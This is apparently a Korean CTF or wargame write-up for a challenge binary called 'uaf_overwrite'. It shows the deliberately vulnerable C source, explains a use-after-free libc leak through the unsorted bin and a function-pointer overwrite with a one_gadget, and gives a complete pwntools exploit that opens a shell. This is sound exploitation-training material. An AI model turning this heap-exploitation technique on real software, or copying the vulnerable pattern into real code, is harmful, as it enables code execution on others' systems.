1. Description
2. Check
2.1 C code
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
struct Human {
char name[16];
int weight;
long age;
};
struct Robot {
char name[16];
int weight;
void (*fptr)();
};
struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;
void print_name() { printf("Name: %s\n", robot->name); }
void menu() {
printf("1. Human\n");
printf("2. Robot\n");
printf("3. Custom\n");
printf("> ");
}
void human_func() {
int sel;
human = (struct Human *)malloc(sizeof(struct Human));
strcpy(human->name, "Human");
printf("Human Weight: ");
scanf("%d", &human->weight);
printf("Human Age: ");
scanf("%ld", &human->age);
free(human);
}
void robot_func() {
int sel;
robot = (struct Robot *)malloc(sizeof(struct Robot));
strcpy(robot->name, "Robot");
printf("Robot Weight: ");
scanf("%d", &robot->weight);
if (robot->fptr)
robot->fptr();
else
robot->fptr = print_name;
robot->fptr(robot);
free(robot);
}
int custom_func() {
unsigned int size;
unsigned int idx;
if (c_idx > 9) {
printf("Custom FULL!!\n");
return 0;
}
printf("Size: ");
scanf("%d", &size);
if (size >= 0x100) {
custom[c_idx] = malloc(size);
printf("Data: ");
read(0, custom[c_idx], size - 1);
printf("Data: %s\n", custom[c_idx]);
printf("Free idx: ");
scanf("%d", &idx);
if (idx < 10 && custom[idx]) {
free(custom[idx]);
custom[idx] = NULL;
}
}
c_idx++;
}
int main() {
int idx;
char *ptr;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
menu();
scanf("%d", &idx);
switch (idx) {
case 1:
human_func();
break;
case 2:
robot_func();
break;
case 3:
custom_func();
break;
}
}
}
code description
human_func과 robot_func 함수들은 구조체 변수에서 메모리 할당을 할 때, 할당한 메모리를 해제만 하고, 초기화하지 않는다.
Human 구조체와 Robot 구조체는 크기가 같으므로, 한 구조체를 해제하고 다른 구조체를 할당하면 해제된 구조체의 값을 사용할 수 있는, Use After Free가 발생한다.
robot_func에서 Robot 변수는 fptr이 NULL이 아니면 호출하므로, Use After Free로 해당 변수에 원하는 값을 즉, system("/bin/sh")의 gadget 같은 것을 남겨 놓으면,
실행 흐름을 바꿀 수 있다.
custom_func도 마찬가지로 0x100이상의 크기를 갖는 청크를 할당하고 해제하지만, 메모리 영역의 초기화가 제대로 이뤄지지 않아 Use After Free에 취약하다.
2.2 file
2.3 checksec
3. Design
3.1 libc leak
UAF의 취약점을 이용해서, libc가 매핑된 주소를 알아내야한다.
Unsorted bin의 특징을 이용해 알아보자.
Unsorted bin에 처음 연결되는 청크는 libc의 특정 주소와 이중 원형 연결 리스트를 형성한다.
처음 unsorted bin에 연결되는 청크의 fd와 bk에는 libc 내부의 주소가 쓰인다.
따라서 unsorted bin에 연결된 청크를 재할당하고, fd나 bk의 값을 읽으면 libc가 매핑된 주소를 계산할 수 있다.
이 문제에 custom_func 함수는 0x100 바이트 이상의 크기를 갖는 청크를 할당하고, 할당된 청크들 중 원하는 청크를 해제 할 수 있는 함수이다.
0x410 바이트 이하의 크기(1040바이트)를 갖는 청크는 tcache에 먼저 삽입되므로,
이보다 큰 청크를 해제해서 unsorted bin에 연결하고,
이를 재할당하여 값을 읽으면 libc가 매핑된 주소를 알 수 있다.
이 때, 해제할 청크가 top 청크와 맞닿아 있으면 청크의 특징인 병합 현상때문에,
연속으로 청크에 할당 후, 처음의 청크를 해제해야한다.
3.2 overwrite func's pointer
Human과 Robot은 같은 크기의 구조체이므로, Human 구조체가 해제되고 Robot 구조체가 할당되면, Robot은 Human이 사용했던 영역을 재사용한다.
Robot이 할당될 때, 사용할 메모리 영역을 초기화 하지 않으므로 Human에 입력한 값은 재사용된다.
Human 구조체의 age는 Robot 구조체의 fptr과 위치가 같다.
그러므로 human_func를 호출했을 때, age에 one_gadget 주소를 입력하고, 이어서 robot_func를 호출하면 fptr의 위치에 남아있는 one_gadget을 호출시킬 수 있다.
4. Exploit
4.1 exploit code
from pwn import *
p = process("./uaf_overwrite")
def slog(sym, val): success(sym + ": " + hex(val))
def human(weight, age):
p.sendlineafter(">", "1")
p.sendlineafter(": ", str(weight))
p.sendlineafter(": ", str(age))
def robot(weight):
p.sendlineafter(">", "2")
p.sendlineafter(": ", str(weight))
def custom(size, data, idx):
p.sendlineafter(">", "3")
p.sendlineafter(": ", str(size))
p.sendafter(": ", data)
p.sendlineafter(": ", str(idx))
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", -1)
custom(0x500, "AAAA", 0)
custom(0x500, "B", -1)
lb = u64(p.recvline()[:-1].ljust(8, b"\x00")) - 0x3ebc42
og = lb + 0x10a41c
slog("libc_base", lb)
slog("one_gadget", og)
human("1", og)
robot("1")
p.interactive()
4.2 result
마치며
libc_base를 구하는 과정에서 gdb의 vmmap과 x/gx를 활용을 해서 어렵게 얻어냈다.
그리고, libc_base를 구하는 과정은 어떤 라이브러리를 사용하는 지에 따라 코드가 달라진다.
예를 들어, 필자의 local 라이브러리 환경은 libc.so.6을 쓰기때문에,
one_gadget과 main_arena와 libc_base의 offset도 다르다.
Reference